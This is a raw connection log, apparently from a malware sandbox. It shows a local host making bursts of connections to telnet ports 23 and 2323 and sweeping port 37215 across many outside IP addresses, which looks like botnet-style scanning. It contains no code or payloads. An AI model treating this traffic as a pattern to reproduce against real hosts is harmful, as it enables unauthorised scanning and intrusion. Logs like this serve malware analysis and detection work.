Aug 17, 2024 01:01:54.346834898 CEST	24655	2323	192.168.2.13	34.152.78.140
Aug 17, 2024 01:01:54.346843004 CEST	23	24655	94.121.140.4	192.168.2.13
Aug 17, 2024 01:01:54.346848011 CEST	23	24655	149.48.138.197	192.168.2.13
Aug 17, 2024 01:01:54.346847057 CEST	24655	23	192.168.2.13	88.31.186.234
Aug 17, 2024 01:01:54.346853971 CEST	23	24655	107.158.178.68	192.168.2.13
Aug 17, 2024 01:01:54.346858025 CEST	24655	23	192.168.2.13	46.125.228.94
Aug 17, 2024 01:01:54.346859932 CEST	24655	23	192.168.2.13	180.233.33.30
Aug 17, 2024 01:01:54.346870899 CEST	23	24655	8.61.245.192	192.168.2.13
Aug 17, 2024 01:01:54.346875906 CEST	24655	23	192.168.2.13	211.63.49.55
Aug 17, 2024 01:01:54.346877098 CEST	23	24655	208.145.139.56	192.168.2.13
Aug 17, 2024 01:01:54.346878052 CEST	24655	23	192.168.2.13	94.121.140.4
Aug 17, 2024 01:01:54.346878052 CEST	24655	23	192.168.2.13	149.48.138.197
Aug 17, 2024 01:01:54.346878052 CEST	24655	23	192.168.2.13	107.158.178.68
Aug 17, 2024 01:01:54.346904039 CEST	24655	23	192.168.2.13	8.61.245.192
Aug 17, 2024 01:01:54.346906900 CEST	24655	23	192.168.2.13	208.145.139.56
Aug 17, 2024 01:01:54.348397017 CEST	23	46158	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.348501921 CEST	46158	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.348505020 CEST	46160	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.353844881 CEST	23	46158	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.353856087 CEST	23	46160	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.353914022 CEST	46160	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.359239101 CEST	23	46160	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.359308004 CEST	46162	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.359402895 CEST	46160	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.364470005 CEST	23	46162	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.364474058 CEST	23	46160	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.364533901 CEST	46162	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.371507883 CEST	23	46162	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.371589899 CEST	46162	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.371603966 CEST	46164	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.377140045 CEST	23	46162	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.377145052 CEST	23	46164	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.377197027 CEST	46164	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.382793903 CEST	23	46164	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.382879972 CEST	46164	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.382901907 CEST	46166	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.387897968 CEST	23	46164	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.387902975 CEST	23	46166	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.388012886 CEST	46166	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.393346071 CEST	23	46166	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.393424988 CEST	46168	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.393435001 CEST	46166	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.398324013 CEST	23	46168	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.398372889 CEST	46168	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.398664951 CEST	23	46166	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.403625965 CEST	23	46168	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.403709888 CEST	46168	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.403753042 CEST	46170	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.409389973 CEST	23	46168	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.409394979 CEST	23	46170	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.409446001 CEST	46170	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.415381908 CEST	23	46170	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.415462017 CEST	46170	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.415462971 CEST	46172	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.421013117 CEST	23	46170	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.421016932 CEST	23	46172	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.421076059 CEST	46172	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.431404114 CEST	23	46172	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.431498051 CEST	46174	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.431535959 CEST	46172	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.436343908 CEST	23	46174	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.436414957 CEST	46174	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.436604023 CEST	23	46172	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.443732977 CEST	23	46174	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.443833113 CEST	46174	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.443836927 CEST	46176	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.448765039 CEST	23	46174	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.448770046 CEST	23	46176	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.448824883 CEST	46176	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.454015017 CEST	23	46176	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.454077959 CEST	46176	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.454085112 CEST	46178	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.459228992 CEST	23	46176	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.459234953 CEST	23	46178	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.459337950 CEST	46178	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.464523077 CEST	23	46178	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.464624882 CEST	46178	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.464624882 CEST	46180	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.469641924 CEST	23	46178	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.469649076 CEST	23	46180	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.469712973 CEST	46180	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.475194931 CEST	23	46180	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.475280046 CEST	46180	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.475284100 CEST	46182	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.480392933 CEST	23	46180	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.480398893 CEST	23	46182	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.480503082 CEST	46182	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.485833883 CEST	23	46182	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.485939980 CEST	46184	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.485944033 CEST	46182	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.491722107 CEST	23	46184	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.491727114 CEST	23	46182	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.491815090 CEST	46184	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.498246908 CEST	23	46184	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.498375893 CEST	46184	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.498377085 CEST	46186	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.503626108 CEST	23	46184	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.503635883 CEST	23	46186	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.503691912 CEST	46186	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.509155035 CEST	23	46186	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.509262085 CEST	46186	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.509262085 CEST	46188	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.514091969 CEST	23	46186	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.514101982 CEST	23	46188	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.514241934 CEST	46188	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.520056009 CEST	23	46188	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.520196915 CEST	46188	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.520209074 CEST	46190	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.525727987 CEST	23	46188	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.525732994 CEST	23	46190	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.525778055 CEST	46190	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.531857014 CEST	23	46190	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.531943083 CEST	46190	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.531960964 CEST	46192	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.537550926 CEST	23	46190	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.537556887 CEST	23	46192	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.537611008 CEST	46192	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.544430017 CEST	23	46192	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.544509888 CEST	46194	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.544523954 CEST	46192	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.549614906 CEST	23	46192	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.549623966 CEST	23	46194	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.549686909 CEST	46194	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.555011034 CEST	23	46194	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.555108070 CEST	46194	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.555109024 CEST	46196	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.559981108 CEST	23	46194	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.559990883 CEST	23	46196	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.560034990 CEST	46196	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.565704107 CEST	23	46196	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.565776110 CEST	46198	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.565777063 CEST	46196	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.571538925 CEST	23	46196	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.571543932 CEST	23	46198	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.571635962 CEST	46198	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.578115940 CEST	23	46198	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.578205109 CEST	46198	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.578227997 CEST	46200	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.581367016 CEST	23	33402	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.581475019 CEST	33402	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.581499100 CEST	36232	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.583228111 CEST	23	46198	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.583239079 CEST	23	46200	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.583329916 CEST	46200	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.586399078 CEST	23	33402	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.586891890 CEST	23	36232	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.586980104 CEST	36232	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.589382887 CEST	23	46200	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.589458942 CEST	46200	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.589466095 CEST	46204	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.592093945 CEST	23	36232	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.592503071 CEST	36232	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.592504025 CEST	36236	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.594902992 CEST	23	46200	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.594907999 CEST	23	46204	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.594981909 CEST	46204	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.597482920 CEST	23	36232	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.597487926 CEST	23	36236	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.597564936 CEST	36236	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.600878954 CEST	23	46204	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.600974083 CEST	46204	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.600979090 CEST	46208	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.604526043 CEST	23	36236	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.604583025 CEST	36236	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.604631901 CEST	36240	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.604903936 CEST	37215	55986	197.131.244.219	192.168.2.13
Aug 17, 2024 01:01:54.604958057 CEST	55986	37215	192.168.2.13	197.131.244.219
Aug 17, 2024 01:01:54.605875969 CEST	23	46204	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.605885983 CEST	23	46208	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.605943918 CEST	46208	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.609513998 CEST	23	36236	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.609524965 CEST	23	36240	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.609704971 CEST	36240	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.611752033 CEST	23	46208	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.611862898 CEST	46208	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.612507105 CEST	46212	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.615799904 CEST	23	36240	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.615889072 CEST	36240	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.615890026 CEST	36244	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.618443012 CEST	23	46208	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.618448973 CEST	23	46212	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.618515968 CEST	46212	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.621146917 CEST	23	36240	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.621160030 CEST	23	36244	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.621229887 CEST	36244	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.625560999 CEST	23	46212	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.625845909 CEST	46212	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.625845909 CEST	46216	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.628535032 CEST	23	36244	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.628638029 CEST	36244	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.631767988 CEST	36248	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.632538080 CEST	23	46212	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.632544994 CEST	23	46216	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.633575916 CEST	23	36244	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.635767937 CEST	46216	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.637396097 CEST	23	36248	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.637449980 CEST	36248	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.643146038 CEST	23	46216	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.643157959 CEST	23	36248	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.643230915 CEST	46220	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.643234015 CEST	36248	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.643261909 CEST	36252	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.643767118 CEST	46216	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.649353981 CEST	23	36248	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.649360895 CEST	23	46220	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.649410963 CEST	46220	23	192.168.2.13	191.177.116.91
Aug 17, 2024 01:01:54.650719881 CEST	23	36252	121.154.223.149	192.168.2.13
Aug 17, 2024 01:01:54.650768042 CEST	36252	23	192.168.2.13	121.154.223.149
Aug 17, 2024 01:01:54.651793003 CEST	23	46216	191.177.116.91	192.168.2.13
Aug 17, 2024 01:01:54.654230118 CEST	24911	37215	192.168.2.13	156.129.219.10
Aug 17, 2024 01:01:54.654253960 CEST	24911	37215	192.168.2.13	156.121.97.45
Aug 17, 2024 01:01:54.654273033 CEST	24911	37215	192.168.2.13	197.211.112.168
Aug 17, 2024 01:01:54.654295921 CEST	24911	37215	192.168.2.13	197.229.24.194
Aug 17, 2024 01:01:54.654325962 CEST	24911	37215	192.168.2.13	197.61.203.54
Aug 17, 2024 01:01:54.654344082 CEST	24911	37215	192.168.2.13	41.182.173.7
Aug 17, 2024 01:01:54.654367924 CEST	24911	37215	192.168.2.13	156.224.255.221
Aug 17, 2024 01:01:54.654382944 CEST	24911	37215	192.168.2.13	41.38.138.248
Aug 17, 2024 01:01:54.654411077 CEST	24911	37215	192.168.2.13	156.131.50.244
Aug 17, 2024 01:01:54.654462099 CEST	24911	37215	192.168.2.13	197.78.17.94
Aug 17, 2024 01:01:54.654479027 CEST	24911	37215	192.168.2.13	41.122.195.110
Aug 17, 2024 01:01:54.654495955 CEST	24911	37215	192.168.2.13	197.27.193.224
Aug 17, 2024 01:01:54.654517889 CEST	24911	37215	192.168.2.13	156.86.188.185
Aug 17, 2024 01:01:54.654536009 CEST	24911	37215	192.168.2.13	41.185.186.235
Aug 17, 2024 01:01:54.654548883 CEST	24911	37215	192.168.2.13	41.70.213.246
Aug 17, 2024 01:01:54.654565096 CEST	24911	37215	192.168.2.13	197.84.91.154
Aug 17, 2024 01:01:54.654565096 CEST	24911	37215	192.168.2.13	156.134.59.66
Aug 17, 2024 01:01:54.654580116 CEST	24911	37215	192.168.2.13	156.7.247.92
Aug 17, 2024 01:01:54.654601097 CEST	24911	37215	192.168.2.13	41.248.33.240
Aug 17, 2024 01:01:54.654622078 CEST	24911	37215	192.168.2.13	197.166.83.73
Aug 17, 2024 01:01:54.654644012 CEST	24911	37215	192.168.2.13	197.46.246.125
Aug 17, 2024 01:01:54.654660940 CEST	24911	37215	192.168.2.13	197.73.229.65
Aug 17, 2024 01:01:54.654660940 CEST	24911	37215	192.168.2.13	41.106.10.213
Aug 17, 2024 01:01:54.654680967 CEST	24911	37215	192.168.2.13	197.18.214.200
Aug 17, 2024 01:01:54.654715061 CEST	24911	37215	192.168.2.13	41.5.232.200
Aug 17, 2024 01:01:54.654735088 CEST	24911	37215	192.168.2.13	197.14.245.107
Aug 17, 2024 01:01:54.654751062 CEST	24911	37215	192.168.2.13	156.209.234.106
Aug 17, 2024 01:01:54.654772043 CEST	24911	37215	192.168.2.13	197.198.148.131
Aug 17, 2024 01:01:54.654789925 CEST	24911	37215	192.168.2.13	197.1.152.71
Aug 17, 2024 01:01:54.654804945 CEST	24911	37215	192.168.2.13	156.250.250.81
Aug 17, 2024 01:01:54.654835939 CEST	24911	37215	192.168.2.13	41.47.114.79
Aug 17, 2024 01:01:54.654863119 CEST	24911	37215	192.168.2.13	41.141.76.124
Aug 17, 2024 01:01:54.654863119 CEST	24911	37215	192.168.2.13	41.169.152.102
Aug 17, 2024 01:01:54.654894114 CEST	24911	37215	192.168.2.13	197.58.172.6
Aug 17, 2024 01:01:54.654894114 CEST	24911	37215	192.168.2.13	197.12.237.214
Aug 17, 2024 01:01:54.654913902 CEST	24911	37215	192.168.2.13	197.102.65.140
Aug 17, 2024 01:01:54.654938936 CEST	24911	37215	192.168.2.13	41.103.213.48
Aug 17, 2024 01:01:54.654938936 CEST	24911	37215	192.168.2.13	197.3.242.173
Aug 17, 2024 01:01:54.654968023 CEST	24911	37215	192.168.2.13	41.180.37.184
Aug 17, 2024 01:01:54.654983997 CEST	24911	37215	192.168.2.13	156.170.175.140
Aug 17, 2024 01:01:54.654983997 CEST	24911	37215	192.168.2.13	41.157.20.134
Aug 17, 2024 01:01:54.655030012 CEST	24911	37215	192.168.2.13	197.135.71.238
Aug 17, 2024 01:01:54.655045033 CEST	24911	37215	192.168.2.13	197.10.101.109
Aug 17, 2024 01:01:54.655070066 CEST	24911	37215	192.168.2.13	41.21.82.31
Aug 17, 2024 01:01:54.655081034 CEST	24911	37215	192.168.2.13	197.93.0.188
Aug 17, 2024 01:01:54.655090094 CEST	24911	37215	192.168.2.13	41.255.136.100
Aug 17, 2024 01:01:54.655112982 CEST	24911	37215	192.168.2.13	156.150.54.236
Aug 17, 2024 01:01:54.655122042 CEST	24911	37215	192.168.2.13	156.118.204.254
Aug 17, 2024 01:01:54.655133009 CEST	24911	37215	192.168.2.13	41.15.169.202
Aug 17, 2024 01:01:54.655169964 CEST	24911	37215	192.168.2.13	41.56.157.88
Aug 17, 2024 01:01:54.655186892 CEST	24911	37215	192.168.2.13	197.110.63.237
Aug 17, 2024 01:01:54.655203104 CEST	24911	37215	192.168.2.13	197.69.90.195
Aug 17, 2024 01:01:54.655227900 CEST	24911	37215	192.168.2.13	197.48.180.141
Aug 17, 2024 01:01:54.655253887 CEST	24911	37215	192.168.2.13	197.107.3.77
Aug 17, 2024 01:01:54.655273914 CEST	24911	37215	192.168.2.13	41.141.49.194
Aug 17, 2024 01:01:54.655292988 CEST	24911	37215	192.168.2.13	41.116.5.8
Aug 17, 2024 01:01:54.655312061 CEST	24911	37215	192.168.2.13	41.201.79.1
Aug 17, 2024 01:01:54.655330896 CEST	24911	37215	192.168.2.13	156.89.33.148
Aug 17, 2024 01:01:54.655330896 CEST	24911	37215	192.168.2.13	156.88.160.23
Aug 17, 2024 01:01:54.655349016 CEST	24911	37215	192.168.2.13	156.64.108.255
Aug 17, 2024 01:01:54.655364990 CEST	24911	37215	192.168.2.13	41.236.67.193
Aug 17, 2024 01:01:54.655373096 CEST	24911	37215	192.168.2.13	41.71.231.200
Aug 17, 2024 01:01:54.655412912 CEST	24911	37215	192.168.2.13	156.88.170.139
Aug 17, 2024 01:01:54.655416965 CEST	24911	37215	192.168.2.13	156.24.78.62
Aug 17, 2024 01:01:54.655432940 CEST	24911	37215	192.168.2.13	156.228.84.32
Aug 17, 2024 01:01:54.655432940 CEST	24911	37215	192.168.2.13	156.132.153.222
Aug 17, 2024 01:01:54.655458927 CEST	24911	37215	192.168.2.13	41.88.131.165
Aug 17, 2024 01:01:54.655494928 CEST	24911	37215	192.168.2.13	197.226.63.129
Aug 17, 2024 01:01:54.655529022 CEST	24911	37215	192.168.2.13	41.102.251.183
Aug 17, 2024 01:01:54.655551910 CEST	24911	37215	192.168.2.13	41.127.252.241
Aug 17, 2024 01:01:54.655551910 CEST	24911	37215	192.168.2.13	41.118.112.133
Aug 17, 2024 01:01:54.655566931 CEST	24911	37215	192.168.2.13	41.219.183.80
Aug 17, 2024 01:01:54.655586004 CEST	24911	37215	192.168.2.13	197.213.111.104
Aug 17, 2024 01:01:54.655631065 CEST	24911	37215	192.168.2.13	41.175.162.166
Aug 17, 2024 01:01:54.655646086 CEST	24911	37215	192.168.2.13	197.137.4.184
Aug 17, 2024 01:01:54.655646086 CEST	24911	37215	192.168.2.13	156.215.63.170
Aug 17, 2024 01:01:54.655664921 CEST	24911	37215	192.168.2.13	41.248.22.53
Aug 17, 2024 01:01:54.655678988 CEST	24911	37215	192.168.2.13	197.96.90.214
Aug 17, 2024 01:01:54.655714989 CEST	24911	37215	192.168.2.13	156.101.71.214
Aug 17, 2024 01:01:54.655733109 CEST	24911	37215	192.168.2.13	156.235.93.12
Aug 17, 2024 01:01:54.655733109 CEST	24911	37215	192.168.2.13	156.157.59.29
Aug 17, 2024 01:01:54.655750990 CEST	24911	37215	192.168.2.13	41.245.229.234
Aug 17, 2024 01:01:54.655750990 CEST	24911	37215	192.168.2.13	197.23.236.208
Aug 17, 2024 01:01:54.655776978 CEST	24911	37215	192.168.2.13	197.24.123.123
Aug 17, 2024 01:01:54.655795097 CEST	24911	37215	192.168.2.13	41.167.234.145
Aug 17, 2024 01:01:54.655811071 CEST	24911	37215	192.168.2.13	197.153.101.231
Aug 17, 2024 01:01:54.655827999 CEST	24911	37215	192.168.2.13	41.103.171.204
Aug 17, 2024 01:01:54.655860901 CEST	24911	37215	192.168.2.13	197.66.83.232
Aug 17, 2024 01:01:54.655903101 CEST	24911	37215	192.168.2.13	41.58.95.104
Aug 17, 2024 01:01:54.655919075 CEST	24911	37215	192.168.2.13	41.72.97.124
Aug 17, 2024 01:01:54.655919075 CEST	24911	37215	192.168.2.13	41.86.127.71
Aug 17, 2024 01:01:54.655941010 CEST	24911	37215	192.168.2.13	156.161.106.34
Aug 17, 2024 01:01:54.655956984 CEST	24911	37215	192.168.2.13	41.111.247.222
Aug 17, 2024 01:01:54.655956984 CEST	24911	37215	192.168.2.13	156.24.227.14
Aug 17, 2024 01:01:54.655976057 CEST	24911	37215	192.168.2.13	156.93.161.206
Aug 17, 2024 01:01:54.655997038 CEST	24911	37215	192.168.2.13	156.230.67.255
Aug 17, 2024 01:01:54.656024933 CEST	24911	37215	192.168.2.13	197.51.235.45
Aug 17, 2024 01:01:54.656056881 CEST	24911	37215	192.168.2.13	41.172.16.148
Aug 17, 2024 01:01:54.656058073 CEST	24911	37215	192.168.2.13	41.219.122.19
Aug 17, 2024 01:01:54.656100988 CEST	24911	37215	192.168.2.13	156.172.14.118
Aug 17, 2024 01:01:54.656100988 CEST	24911	37215	192.168.2.13	156.67.33.11
Aug 17, 2024 01:01:54.656111002 CEST	24911	37215	192.168.2.13	197.79.221.32
Aug 17, 2024 01:01:54.656130075 CEST	24911	37215	192.168.2.13	41.238.68.255
Aug 17, 2024 01:01:54.656145096 CEST	24911	37215	192.168.2.13	41.122.142.188
Aug 17, 2024 01:01:54.656177998 CEST	24911	37215	192.168.2.13	41.29.86.213
Aug 17, 2024 01:01:54.656194925 CEST	24911	37215	192.168.2.13	197.1.245.8
Aug 17, 2024 01:01:54.656209946 CEST	24911	37215	192.168.2.13	41.55.130.45
Aug 17, 2024 01:01:54.656236887 CEST	24911	37215	192.168.2.13	41.250.113.67
Aug 17, 2024 01:01:54.656253099 CEST	24911	37215	192.168.2.13	197.114.66.242
Aug 17, 2024 01:01:54.656271935 CEST	24911	37215	192.168.2.13	156.109.140.73
Aug 17, 2024 01:01:54.656284094 CEST	24911	37215	192.168.2.13	41.136.229.25
Aug 17, 2024 01:01:54.656296015 CEST	24911	37215	192.168.2.13	197.209.67.4
Aug 17, 2024 01:01:54.656322956 CEST	24911	37215	192.168.2.13	41.138.158.108
Aug 17, 2024 01:01:54.656322956 CEST	24911	37215	192.168.2.13	156.174.169.47
Aug 17, 2024 01:01:54.656337976 CEST	24911	37215	192.168.2.13	156.71.84.93
Aug 17, 2024 01:01:54.656358004 CEST	24911	37215	192.168.2.13	41.228.160.72
Aug 17, 2024 01:01:54.656382084 CEST	24911	37215	192.168.2.13	41.214.126.213
Aug 17, 2024 01:01:54.656395912 CEST	24911	37215	192.168.2.13	156.227.235.113
Aug 17, 2024 01:01:54.656436920 CEST	24911	37215	192.168.2.13	197.88.230.41
Aug 17, 2024 01:01:54.656440020 CEST	24911	37215	192.168.2.13	197.129.211.57
Aug 17, 2024 01:01:54.656465054 CEST	24911	37215	192.168.2.13	156.69.247.252
